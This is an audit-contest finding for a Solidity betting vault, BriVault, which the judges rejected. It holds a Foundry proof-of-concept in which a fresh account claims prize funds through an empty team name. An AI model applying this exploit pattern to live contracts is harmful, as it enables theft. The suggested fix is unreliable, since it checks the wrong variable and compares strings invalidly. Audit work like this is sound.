BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

briVault::setCountry does not check for empty string

dpedpe

briVault::setCountry does not check for empty string and the default value of "" in briVault::userToCountry is an empty string. Allowing anyone who has the vault token to claim the prize.

Description

  • The value returned by briVault::userToCountrysignifies the country that the user is betting on. However, if an user who has not place any bet or even deposited any asset, his value for briVault::userToCountry is "". If the owner purposely or by mistake puts an empty string for the name of a team, then all users who has not join the game can claim the prize using vault tokens.

// Root cause in the codebase with @> marks to highlight the relevant section
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
//@audit if the user has not joined the event and the winner has not been set, the user will directly win
if (
@> keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
uint256 shares = balanceOf(msg.sender);
​
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(
shares,
vaultAsset,
totalWinnerShares
);
​
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
​
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood: Medium/Low

  • Reason 1: When the owner input one or multiple teams with empty string as name, if one of these team wins, someone who bet on another team can transfer his vault token to a new account that has not join the game and claim the prize using that new account.

Impact: High

  • Impact 1: Users who bets on the team with with empty string as name are at risk of getting front runned by other players and lose their money if they win.


Proof of Concept

  1. The user1 originally bets for team 13.

  2. The other users join the game.

  3. The event ends and the winner selects the empty string name as winner.

  4. The user1 transfers his vault token to user2 and uses the account of user2 to claim the prize.

function testNewUserWithdrawCountry0() public {
string[48] memory _countries = [
"",
"Canada",
"Mexico",
"Argentina",
"Brazil",
"Ecuador",
"Uruguay",
"Colombia",
"Peru",
"Chile",
"Japan",
"South Korea",
"Australia",
"Iran",
"Saudi Arabia",
"Qatar",
"Uzbekistan",
"Jordan",
"France",
"Germany",
"Spain",
"Portugal",
"England",
"Netherlands",
"Italy",
"Croatia",
"Belgium",
"Switzerland",
"Denmark",
"Poland",
"Serbia",
"Sweden",
"Austria",
"Morocco",
"Senegal",
"Nigeria",
"Cameroon",
"Egypt",
"South Africa",
"Ghana",
"Algeria",
"Tunisia",
"Ivory Coast",
"New Zealand",
"Costa Rica",
"Panama",
"United Arab Emirates",
"Iraq"
];
vm.startPrank(owner);
briVault.setCountry(_countries);
vm.stopPrank();
//1.User 1 deposits and joins event 13
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(13);
vm.stopPrank();
//2.Normal users join the game
//3.Starts at 3 to avoid conflict with user1 and user2
for (uint256 i = 3; i < 100; i++) {
vm.startPrank(makeAddr(string(abi.encodePacked("user", i))));
mockToken.mint(
makeAddr(string(abi.encodePacked("user", i))),
5 ether
);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(
5 ether,
makeAddr(string(abi.encodePacked("user", i)))
);
briVault.joinEvent(i % 48);
vm.stopPrank();
}
//3.The event ends and the winner is set to team 0
vm.warp(eventEndDate + 1);
vm.roll(block.number + 1);
vm.startPrank(owner);
briVault.setWinner(0);
vm.stopPrank();
//4.user1 uses user2 account to pretend to have bet for team 0 and
vm.startPrank(user1);
briVault.transfer(user2, briVault.balanceOf(user1));
vm.stopPrank();
vm.startPrank(user2);
uint256 balanceBeforeUser2 = mockToken.balanceOf(user2);
briVault.withdraw();
vm.stopPrank();
console.log(mockToken.balanceOf(user2) - balanceBeforeUser2);
//console::log(241325000000000000000 [2.413e20]
}

Recommended Mitigation

It would be best to add a check for empty string when setting up the countries.

function setCountry(string[48] memory countries) public onlyOwner {
for (uint256 i = 0; i < countries.length; ++i) {
+ if(teams[i]=="")revert(briVault__TeamNameCannotBeEmpty());
teams[i] = countries[i];
}
emit CountriesSet(countries);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!